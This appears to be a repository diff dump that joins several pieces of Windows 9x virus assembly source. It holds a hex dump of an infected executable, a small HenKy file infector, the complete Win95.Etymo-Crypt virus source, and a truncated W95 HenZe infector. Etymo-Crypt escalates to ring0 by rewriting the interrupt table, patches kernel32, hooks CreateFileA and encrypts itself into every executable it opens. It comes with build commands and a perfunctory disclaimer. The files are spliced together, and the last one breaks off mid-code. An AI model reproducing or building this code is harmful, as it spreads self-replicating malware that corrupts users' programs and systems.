;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0 
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ? 
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ ?.idata
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @  ?
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
; ....
;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00  ?
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ ?.bss
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P  P
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ ?.rsrc
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00   š ä
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~
;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P ?.data
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00  ? ¸
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ àb????
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àbðb  
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00  @ ?+
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b\b lb
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ???
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´ NE Œ
; ....
.586P
PMMX ; WORF... ... JEJEJE
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)
MACROSIZE MACRO
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
.DATA
DB 0
DB 'SIZE = '
MACROSIZE
.CODE
MEGAMIX:
; EAX: EIP
; ESI: BUFFER
VINT21:
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
DB 'H' ; HenKy ;P
XCHG EDI, EAX ; EDI: DELTA
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
;EDX: POINTER TO FNAME
;LEA EDX,POPOPOP ; FOR DEBUG ONLY
;JMP KAA
MOV ECX,28000 ; LIMIT
PUSHAD
AMIMELASUDA:
POPAD
PORK:
INC EDX
CMP WORD PTR [EDX],':C'
JE KAA
LOOP PORK
WARNING:
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
RET
KAA:
PUSHAD
MOV AX, 3D02h ; open
CALL [EDI]
JC AMIMELASUDA
XCHG EBX, EAX
MOV EDX,ESI
XOR ECX,ECX
MOV CH,4H
MOV AH, 3Fh ;read
CALL [EDI]
MOV EAX, [EDX+3Ch]
ADD EAX,EDX
MOV EDI,EAX
PUSH 32
POP ECX
DEPOTA:
INC EDI
CMP BYTE PTR [EDI],'B'; HEHEHEHE
JE GOSTRO
JMP DEPOTA
GOSTRO:
INC EDI
PUSH EDI
MOV ESI,EBP
REP MOVSD
MOV ESI,EDI
POP EDI
SUB EDI,EDX
XCHG DWORD PTR [EAX+28H],EDI
CMP DI,1024
JB CLOZ
ADD EDI,[EAX+34H]
XCHG DWORD PTR [ESI-MONGORE],EDI
PUSH EBP
POP EDI
XOR EAX,EAX
PUSHAD
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH,4H
MOV AH,40H ; write
CALL [EDI]
CLOZ:
MOV AH,3EH ; close
CALL [EDI]
JMP AMIMELASUDA
FILE_END:
DW 0 ;-P
MONGORE EQU 95 ; OLD_EIP
PUSH 0
CALL ExitProcess
;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0
END MEGAMIX
+709
View File
@@ -0,0 +1,709 @@
; *************************************************************************
; ******************** ********************
; ******************** Win95.Etymo-Crypt ********************
; ******************** by ********************
; ******************** BLACK JACK ********************
; ******************** ********************
; *************************************************************************
comment ~
NAME: Win95.Etymo-Crypt
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
TYPE: Win9x global ring3 resident parasitic PE infector
SIZE: 1308 bytes
DESCRIPTION: When an infected file is run, the virus gets control. It gains
ring0 by the standart IDT modifying trick. But it doesn't stay
resident in ring0 (hooking VxD calls), but it just uses its
ring0 privilege to write to the write-protected kernel32 memory:
it copies itself into a gap in kernel32 in memory (between
the header and the start of the first section, like nigr0's
Win95.K32 virus) and hooks the CreateFileA API.
Whenever the virus intercepts a file open now, it checks if
the opened file is an infectable, uninfected PE EXE and infects
it if all is ok. The infection process is a bit unusual: The
virus creates a new section called ".vdata" (with standart data
section attributes) and saves there the code from the entrypoint,
after it has been encrypted against the virusbody. Then the
entrypoint is overwritten with virus code, most of it encrypted
again. The attributes of the code section are not modified, the
virus doesn't need the write attribute set, because it only
modifies its data when it is in ring0. The pro of this infection
method is that there are no sections with unusual attributes.
KNOWN BUGS: Since the virus needs to be resident to restore control to the
host, there is no need for checking the OS or preventing errors
with SEH, because infected files will crash under WinNT anyways,
there's no way to prevent that.
Because of that unbound import stuff, the virus only catches
very few file opens. In a kernel32.dll infector this would be
easy to prevent by changing the timedate stamp of kernel32.dll.
In this case this doesn't work, because the system checks this
stamp after the kernel32 has been loaded into memory and will
give error messages if it has been changed each times the user
tries to start a program. Another possible solution, patching
the entry point of the hooked API with the JMP_virus instruction,
like nigr0 and Bumblebee do, won't work too, because with my
residency method the kernel memory stays write protected. And so
this virus is a slow infector, but it still catches enough file
opens to replicate successfully.
ASSEMBLE WITH:
tasm32 /mx /m etymo.asm
tlink32 /Tpe /aa etymo.obj,,, import32.lib
there's no need for PEWRSEC or a similar tool, because the
virus code is supposed to run in a read-only section anyways.
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
Therefore, this source was only written for research and
education. Please do not spread it. The author can't be hold
responsible for what you decide to do with this source.
PS: Greetings go to Gilgalad for the name of this virus!
~
; ===========================================================================
virussize EQU (virus_end - virus_start)
workspace EQU 10000
Extrn MessageBoxA:Proc ; only for 1st gen
Extrn ExitProcess:Proc
386p
model flat
; First generation code is in the data section:
data
start:
push 0 ; show stupid messagebox
push offset caption
push offset message
push 0
call MessageBoxA
JMP virus_start
quit_1st_gen:
; quit program
push 0 ; exit code
push 0 ; ret address of call
push offset ExitProcess ; can't do a real call,
RET ; because this code is moved
caption db "Black Jack strikes again...", 0
message db "Press OK to run the Win95.Etymo-Crypt virus", 0
skip_decryption_1st_gen:
mov esi, offset new_bytes ; skip the decryption in the
mov edi, offset jmp_skip_decryption_1st_gen ; first generation
movsb
movsd
JMP over_encryption
new_bytes:
mov ecx, ((virus_end - encrypted)/4)
; Virus body is in the code section:
code
virus_start:
; We have to access the section with the original host code from ring3 first,
; because if we access it first from ring0, it is not mapped yet and the
; virus will cause an exception. besides, the first dword of the encrypted
; host code is also the key for the virus decryption.
db 0A1h ; mov eax, [imm32]
org_host_code_VA dd offset quit_1st_gen
call next ; go to ring0 calling routine
; ----- FIRST PART OF RING0 CODE --------------------------------------------
r0proc:
pop ebp ; offset of end_next label
sub ebp, (end_next - virus_start) ; EBP=delta offset
push ebp ; is also true offset of
; virus start in memory,
; where we will return to
mov dword ptr [edx+5*8], esi ; restore interrupt
mov dword ptr [edx+5*8+4], edi ; descriptor
lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory
jmp_skip_decryption_1st_gen:
JMP skip_decryption_1st_gen ; skip decryption in first
; generation. will be
; replaced with:
; mov ecx, ((virus_end - encrypted)/4)
decrypt_virus_body:
dec edi ; go to previous dword
dec edi
dec edi
dec edi
xor dword ptr [edi], eax ; decrypt one dword
mov eax, dword ptr [edi] ; decrypted dword is new key
LOOP decrypt_virus_body ; loop until all is decrypted
JMP encrypted ; jump to code that was just
; decrypted.
; ----- JUMP TO RING0 -------------------------------------------------------
next:
push edx ; reserve room on stack
sidt [esp-2] ; get IDT address
pop edx ; EDX=IDT address
mov esi, dword ptr [edx+5*8] ; save old interrupt
mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI
pop ebx ; get address of ring0 proc
mov word ptr [edx+5*8], bx ; write offset of our ring0
shr ebx, 16 ; procedure into interrupt
mov word ptr [edx+5*8+6], bx ; descriptor
int 5 ; call our ring0 code!
end_next:
; no IRET to here.
; ----- MAIN ENCRYPTED RING0 CODE -------------------------------------------
encrypted:
; now we decrypt the original start code of the host, which has been
; encrypted against the virus body.
mov esi, ebp ; ESI=start of virus body
mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code
xor ecx, ecx ; ECX=0
decrypt_loop:
lodsb
sub byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
lodsb
add byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
cmp ecx, virussize ; all decrypted?
JB decrypt_loop ; loop until all is done
over_encryption:
; the kernel32 address is hardcoded, because this is virus is only Win95
; compatible anyways
mov eax, 0BFF70000h ; EAX=kernel32 offset
mov ebx, eax ; EBX=EAX
add ebx, [eax+3Ch] ; EBX=PE header VA
mov edi, [ebx+54h] ; header size
add edi, eax ; EDI=virus VA
cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is
JE already_resident ; residency marker
push edi ; save virus VA in kernel32
; ----- SEARCH API ADDRESSES ------------------------------------------------
mov edx, [ebx+78h] ; EDX=export directory RVA
add edx, eax ; EDX=export directory VA
lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs
; to API names
lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the
; API adresses
find_API:
xor ecx, ecx ; ECX=0 (API names counter)
search_loop:
pusha ; save all registers
push eax ; save EAX (kernel32 offset)
lodsd ; get offset of API name
or eax, eax ; all done?
JZ all_found
add eax, ebp ; fixup with delta offset
xchg eax, esi ; ESI=VA of a needed API name
pop eax ; restore EAX (kernel32 offs)
mov edi, [edx+20h] ; EDI=AddressOfNames RVA
add edi, eax ; EDI=AddressOfNames VA
mov edi, [edi+ecx*4] ; EDI=RVA of API Name
add edi, eax ; EDI=VA of API Name
cmp_loop:
lodsb ; get char from our API name
scasb ; equal to the one in k32 ?
JNE search_on_API ; if not,try next exported API
or al, al ; end of name?
JZ found_API ; we've found an needed API!
JMP cmp_loop ; go on with name compare
search_on_API:
popa ; restore all registers
inc ecx ; try next API in exports
JMP search_loop ; go on
found_API:
popa ; restore all registers
shl ecx, 1 ; ECX=ECX*2 (index ordinals)
add ecx, [edx+24h] ; AddressOfOrdinals RVA
movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal
shl ecx, 2 ; ECX=ECX*4
add ecx, [edx+1Ch] ; AddressOfFunctions RVA
add ecx, eax ; ECX=VA of API RVA
mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it
mov ecx, [ecx] ; ECX=API RVA
push eax ; save EAX (kernel32 base)
add eax, ecx ; EAX=API VA!
stosd ; store it!
lodsd ; do the next API (add esi,4)
pop eax ; restore EAX (kernel32 base)
JMP find_API ; do next API.
all_found:
pop eax ; remove EAX from stack
popa ; restore all registers
; last found API is hooked
mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA
mov edx, [ebx+54h] ; kernel32 header size
; (virus RVA in kernel32)
add edx, (hook - virus_start) ; RVA virus hook in kernel32
mov [ecx], edx ; hook API!
pop edi ; restore EDI:virus VA in k32
mov esi, ebp ; ESI=start of virus in mem
mov ecx, virussize ; ECX=virussize
cld ; clear directory flag
rep movsb ; move virus to TSR location!
sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32
JMP restore_host ; restore host
already_resident:
add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32
restore_host:
mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset
; of original host code
JMP edi ; go to go_on_r0 in kernel32
go_on_r0:
mov edi, ebp ; EDI=virus/host entrypoint
mov ecx, virussize ; ECX=virussize
cld ; clear directory flag
rep movsb ; move host code back!
iretd ; go to original entry point
; in ring3!
; ----- TSR VIRUS HOOK OF CreateFileA ---------------------------------------
hook:
push eax ; reserve room on stack for
; return address
pushf ; save flags
pusha ; save all registers
call TSR_next ; get delta offset
TSR_next:
pop ebp
sub ebp, offset TSR_next
mov eax, [ebp+offset CreateFileA] ; address of original routine
mov [esp+9*4], eax ; set return address
mov esi, [esp+11*4] ; get address of filename
push esi ; save it
search_ext:
lodsb ; get a byte from filename
or al, al ; end of filename?
JNZ search_ext ; search on
mov eax, [esi-4] ; get extension in AX
pop esi ; restore filename ptr in ESI
or eax, 00202020h ; make lowercase
cmp eax, "exe" ; is it an EXE file?
JNE exit_hook ; if not, then exit
push esi ; offset filename
call [ebp+offset GetFileAttributesA] ; get file attribtes
inc eax ; -1 means error
JZ exit_hook
dec eax
push eax ; save attributes and
push esi ; filename ptr so we can
; restore the attribs later
push 80h ; normal attributes
push esi
call [ebp+offset SetFileAttributesA] ; reset file attributes
or eax, eax ; 0 means error
JZ reset_attributes
push 0 ; template file (shit)
push 80h ; file attributes (normal)
push 3 ; open existing
push 0 ; security attributes (shit)
push 0 ; do not share file
push 0C0000000h ; read/write mode
push esi ; pointer to filename
call [ebp+offset CreateFileA] ; OPEN FILE.
inc eax ; EAX= -1 (Invalid handle)
JZ reset_attributes
dec eax
push eax ; save filehandle
xchg edi, eax ; EDI=filehandle
sub esp, 3*8 ; reserve space on stack
; to store the filetimes
mov ebx, esp ; get the filetimes to the
push ebx ; reserved place on stack
add ebx, 8
push ebx
add ebx, 8
push ebx
push edi ; filehandle
call [ebp+offset GetFileTime] ; get the filetimes
or eax, eax ; error?
JZ closefile
push 0 ; high file_size dword ptr
push edi
call [ebp+offset GetFileSize] ; get the filesize to EAX
inc eax ; -1 means error
JZ closefile
dec eax
mov ebx, esp ; save addresses of filetimes
push ebx ; for the API call to restore
add ebx, 8 ; them later
push ebx
add ebx, 8
push ebx
push edi
push edi ; filehandle for SetEndofFile
; for the SetFilePointer at
; the end to truncate file
push 0 ; move relative to filestart
push 0 ; high word of file pointer
push eax ; filesize
push edi ; filehandle
add eax, workspace
push 0 ; name file mapping obj (shit)
push eax ; low dword of file_size
push 0 ; high dword of file_size
push 4 ; PAGE_READWRITE
push 0 ; security attributes (shit)
push edi
call [ebp+offset CreateFileMappingA]
or eax, eax ; error happened?
JZ error_createfilemapping
push eax ; save maphandle for
; CloseHandle
push 0 ; map the whole file
push 0 ; low dword of fileoffset
push 0 ; high dword of fileoffset
push 2 ; read/write access
push eax ; maphandle
call [ebp+offset MapViewOfFile]
or eax, eax
JZ closemaphandle
push eax ; save mapbase for
; UnmapViewOfFile
cmp word ptr [eax], "ZM" ; exe file?
JNE closemap ; if not, then exit
cmp word ptr [eax+18h], 40h ; new executable header?
JNE closemap ; if not, then exit
add eax, [eax+3Ch] ; EBX=new header address
cmp dword ptr [eax], "EP" ; PE file?
JNE closemap ; if not, then exit
test word ptr [eax+16h], 0010000000000000b ; DLL ?
JNZ closemap ; if yes, then exit
movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader
mov ebx, eax ; EBX=offset PE header
add ebx, 18h ; SizeOfNTHeader
add ebx, ecx ; EBX=first section header
push ebx ; save it
find_code_section:
mov ecx, [eax+28h] ; ECX=EntryRVA
sub ecx, [ebx+0Ch] ; Virtualaddress of section
sub ecx, [ebx+10h] ; SizeOfRawData
JB found_code_section ; we found the code section!
add ebx, 40 ; next section
JMP find_code_section ; search on
found_code_section:
mov edx, [eax+28h] ; EDX=EntryRVA
sub edx, [ebx+0Ch] ; Virtualaddress
add edx, [ebx+14h] ; AddressOfRawData
; EDX=RAW ptr to entrypoint
pop ebx ; EBX=first section header
cmp ecx, -virussize ; enough room left in the
JG closemap ; section for the virus body?
mov ecx, [esp] ; ECX=mapbase
add ecx, edx ; ECX=entrypoint in Filemap
cmp byte ptr [ecx], 0A1h ; already infected ?
JE closemap ; if so, then exit
push edx ; save RAW entrypoint address
movzx edx, word ptr [eax+6] ; NumberOfSections
dec edx
imul edx, edx, 40
add ebx, edx ; EBX=last section header
inc word ptr [eax+6] ; increase NumberOfSections
mov dword ptr [ebx+40+00h], "adv." ; name ".vdata"
mov dword ptr [ebx+40+04h], "at"
mov dword ptr [ebx+40+08h], virussize ; Virtualsize
mov edx, [ebx+0Ch] ; VirtualAddress
add edx, [ebx+08h] ; VirtualSize
mov ecx, [eax+38h] ; SectionAlign
call align_EDX
mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress
add edx, virussize ; new ImageSize
call align_EDX ; align to SectionAlign
mov dword ptr [eax+50h], edx ; store new ImageSize
mov edx, virussize
mov ecx, [eax+3Ch] ; FileAlign
call align_EDX ; align virsize to FileAlign
mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData
mov edx, [ebx+14h] ; PointerToRawData
add edx, [ebx+10h] ; SizeOfRawData
call align_EDX ; align new section
; raw offset to FileAlign
mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData
add edx, [ebx+40+10h] ; SizeOfRawData
mov dword ptr [esp+4*4], edx ; new filesize
mov dword ptr [ebx+40+18h], 0 ; Relocation shit
mov dword ptr [ebx+40+1Ch], 0
mov dword ptr [ebx+40+20h], 0
mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the
; standart for data sections
mov edx, dword ptr [ebx+40+0Ch] ; RVA host code
add edx, [eax+34h] ; add ImageBase to get VA
pop esi ; ESI=RAW entrypoint address
pop eax ; EAX=mapbase
push eax ; we still need it on stack
add esi, eax ; ESI=entrypoint in FileMap
push esi ; save it on stack
mov edi, dword ptr [ebx+40+14h] ; PointerToRawData
add edi, eax ; start of new section in map
mov ecx, virussize ; bytes to move
push ecx ; save virussize on stack
cld
mov eax, edi ; EAX=new section in FileMap
rep movsb ; of entry point code to
; newly created section
pop ecx ; ECX=virussize
pop edi ; EDI=entrypoint in Filemap
lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory
rep movsb ; move virus body to
; original Entrypoint of File
mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of
; original host start code
push edi ; Save end of virus body
; in Filemap
mov esi, edi ; ESI=virus end in Filemap
sub esi, virussize ; ESI=virus start in Filemap
xchg edi, eax ; EDI=start of new section
; Encrypt the code from the original entry point against the virus body.
encrypt_loop:
lodsb
add byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
lodsb
sub byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
cmp ecx, virussize ; all encrypted?
JB encrypt_loop ; if not, then crypt on
; and now the main part of the virus body is encrypted itself. It is crypted
; from the end of the virus body upwards, for each dword is the next dword
; used as crypt key. The first key is the first dword of the encrypted
; host code.
mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords
mov eax, dword ptr [edi] ; initial key
pop edi ; end of virus in filemap
encrypt_virus_body:
dec edi ; go to previous dword
dec edi
dec edi
dec edi
mov ebx, dword ptr [edi] ; this dword is the next key
xor dword ptr [edi], eax ; encrypt it with this key
xchg ebx, eax ; change keys
LOOP encrypt_virus_body ; LOOP until encryption done
; the parameters for the following API calls have already been pushed on the
; stack while the opening process of the file
closemap:
call [ebp+offset UnmapViewOfFile] ; unmap file
closemaphandle:
call [ebp+offset CloseHandle] ; close map handle
error_createfilemapping:
call [ebp+offset SetFilePointer] ; set file pointer to EOF
call [ebp+offset SetEndOfFile] ; truncate file here
call [ebp+offset SetFileTime] ; restore filetimes
closefile:
add esp, 8*3 ; remove filetimes from stack
call [ebp+offset CloseHandle] ; close file
reset_attributes:
call [ebp+offset SetFileAttributesA] ; reset attributes
exit_hook:
popa ; restore all registers
popf ; restore flags
ret ; go to original API routine
; ----- ALIGN SUBROUTINE ----------------------------------------------------
; aligns EDX to ECX
align_EDX:
push eax ; save EAX
push edx ; save EDX
xchg eax, edx ; EAX=value to align
xor edx, edx ; EDX=0
div ecx ; divide EDX:EAX by ECX
pop eax ; restore old EDX in EAX
or edx, edx ; EDX=mod of division
JZ already_aligned ; already aligned?
add eax, ecx ; if not align
sub eax, edx ; EDX=mod
already_aligned:
xchg eax, edx ; EDX=aligned value
pop eax ; restore EAX
ret
db "[Win95.Etymo-Crypt] by Black Jack", 0
db "This virus was written in Austria in May/June/July 2000", 0
names_RVA_table:
dd (n_GetFileAttributesA - virus_start)
dd (n_SetFileAttributesA - virus_start)
dd (n_GetFileTime - virus_start)
dd (n_GetFileSize - virus_start)
dd (n_CreateFileMappingA - virus_start)
dd (n_MapViewOfFile - virus_start)
dd (n_UnmapViewOfFile - virus_start)
dd (n_SetFilePointer - virus_start)
dd (n_SetEndOfFile - virus_start)
dd (n_CloseHandle - virus_start)
dd (n_SetFileTime - virus_start)
dd (n_CreateFileA - virus_start)
dd 0
n_GetFileAttributesA db "GetFileAttributesA", 0
n_SetFileAttributesA db "SetFileAttributesA", 0
n_GetFileTime db "GetFileTime", 0
n_GetFileSize db "GetFileSize", 0
n_CreateFileMappingA db "CreateFileMappingA", 0
n_MapViewOfFile db "MapViewOfFile", 0
n_UnmapViewOfFile db "UnmapViewOfFile", 0
n_SetFilePointer db "SetFilePointer", 0
n_SetEndOfFile db "SetEndOfFile", 0
n_CloseHandle db "CloseHandle", 0
n_SetFileTime db "SetFileTime", 0
n_CreateFileA db "CreateFileA", 0
API_RVAs:
GetFileAttributesA dd ?
SetFileAttributesA dd ?
GetFileTime dd ?
GetFileSize dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetFilePointer dd ?
SetEndOfFile dd ?
CloseHandle dd ?
SetFileTime dd ?
CreateFileA dd ?
hook_API dd ?
if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords
db (4-(($-virus_start) mod 4)) dup(0)
endif
virus_end:
end start
+523
View File
@@ -0,0 +1,523 @@
;---------------------------- W95 HenZe BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
.586P
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
KERNEL95 EQU 0BFF70000h
MIX_SIZ EQU FILE_END-MEGAMIX
MIX_MEM EQU MEM_END-MEGAMIX
NABLA EQU DELTA-MEGAMIX
MARKA EQU 66
FLAGZ EQU 00000020H OR 20000000H OR 80000000H
MAX_PATH EQU 260
MACROSIZE MACRO
DB MIX_SIZ/01000 mod 10 + "0"
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER
; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)
; MOV
; CALL
; JNZ ONLY SIX OPCODES WERE USED.. xDDD
; ADD /
; SUB /
; CMP /
; AND NO INDEXING MODE (EASY DISASM CODE)
;MOV EAX,[EBP+5]
;TURNS INTO:
; ADD EBP,5
; MOV EAX,[EBP]
;AND SO...
; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND
; SEVERAL META TIPS
.DATA
copyrisgt DB 'HenZe '
MACROSIZE
.CODE
; BIZARRE VIRUS BEGINS...
MEGAMIX:
MOV EAX, 401005H
MILO EQU $-4
DELTA:
MOV EBP,EAX
WINES:
MOV EAX,KERNEL95
MOV CL,'M'
CMP BYTE PTR [EAX],CL
JNZ WARNING
MOV EBX,EAX
MOV EDX,02b226A57h ; GPA SIGNATURE FOR W9X
BUSCA3:
ADD EAX,1
CMP DWORD PTR [EAX],EDX
JNZ SHORT BUSCA3
APIZ:
MOV ECX,OFFSET GPA
ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV [ECX],EAX
MOV ESI, OFFSET APIs
ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV EDI,OFFSET APIaddresses
ADD EDI,EBP
SUB EDI,OFFSET DELTA
GPI: SUB ESP,4
MOV [ESP],ESI
SUB ESP,4
MOV [ESP],EBX
MOV ECX,OFFSET GPA
ADD ECX,EBP
SUB ECX,OFFSET DELTA
CALL [ECX]
MOV [EDI],EAX
ADD EDI,4
NPI:
MOV AL,BYTE PTR [ESI]
ADD ESI,1
CMP AL,0
JNZ SHORT NPI
CMP [ESI], AL
JNZ GPI
INFECT:
MOV EAX, OFFSET Win32FindData
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET IMASK
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET FindFirstFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX, OFFSET SearcHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
LOOPER:
CMP EAX,-1
JNZ SUPPER
WARNING:
MOV EAX,12345678H
ORG $-4
OLD_EIP DD 00401000H
ADD ESP,4
CALL EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE
SUPPER:
CMP EAX,0
JNZ ALLKEY
PILLE:
CMP ESP,0 ; ESP NEVER IS ZERO
JNZ WARNING
ALLKEY:
SUB ESP,4
MOV EAX,OFFSET OLD_EIP
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[EAX]
MOV [ESP],EBX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],00000080h
SUB ESP,4
MOV [ESP],3
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],0C0000000h
MOV EAX ,offset FNAME ; OPEN IT!
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CreateFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX,OFFSET FileHandle
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX ; SAVE HNDL
MOV EBX,OFFSET WFD_nFileSizeLow
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]
MOV EDX,0
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],4H
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV EBX,OFFSET FileHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV ECX,[EBX]
MOV [ESP],ECX
MOV EAX, OFFSET CreateFileMappingA
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX,OFFSET MapHandle
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX
MOV EBX,OFFSET WFD_nFileSizeLow
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]
MOV EDX,0
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
ADD EDX,2
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV ECX, OFFSET MapHandle
ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV EBX,[ECX]
MOV [ESP],EBX
MOV EBX, OFFSET MapViewOfFile
ADD EBX,EBP
SUB EBX,OFFSET DELTA
CALL [EBX]
MOV EBX,OFFSET MapAddress
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EAX ; GET PE HDR
MOV EDX,EAX
ADD EAX,3CH
MOV ESI,[EAX]
ADD ESI,EDX
CMP BYTE PTR [ESI],"P" ; IS A 'P'E ?
JNZ Cerrar
ADD ESI,MARKA
CMP BYTE PTR [ESI],"H" ; HenKy IS HERE ?
JNZ Cerrar1
CMP ESP,0
JNZ Cerrar
Cerrar1:
SUB ESI,MARKA
MOV EBX,ESI
ADD EBX,3CH
MOV EAX,[EBX] ; ONLY SOME W98 HAVE 1000H/1000H INSTEAD 1000H/200H
MOV ECX,ESI
ADD ECX,56
CMP EAX,[ECX]
JNZ Cerrar
SUB ESP,4
MOV [ESP],ESI
MOV ECX,0
MOV EDI,ESI
ADD EDI,6
MOV CL,BYTE PTR [EDI]
ADD EDI,74H-6
MOV EBX,[EDI]
ADD EBX,EBX
ADD EBX,EBX
ADD EBX,EBX
ADD ESI,78H
ADD ESI,EBX
ADD ESI,24H
WRI:
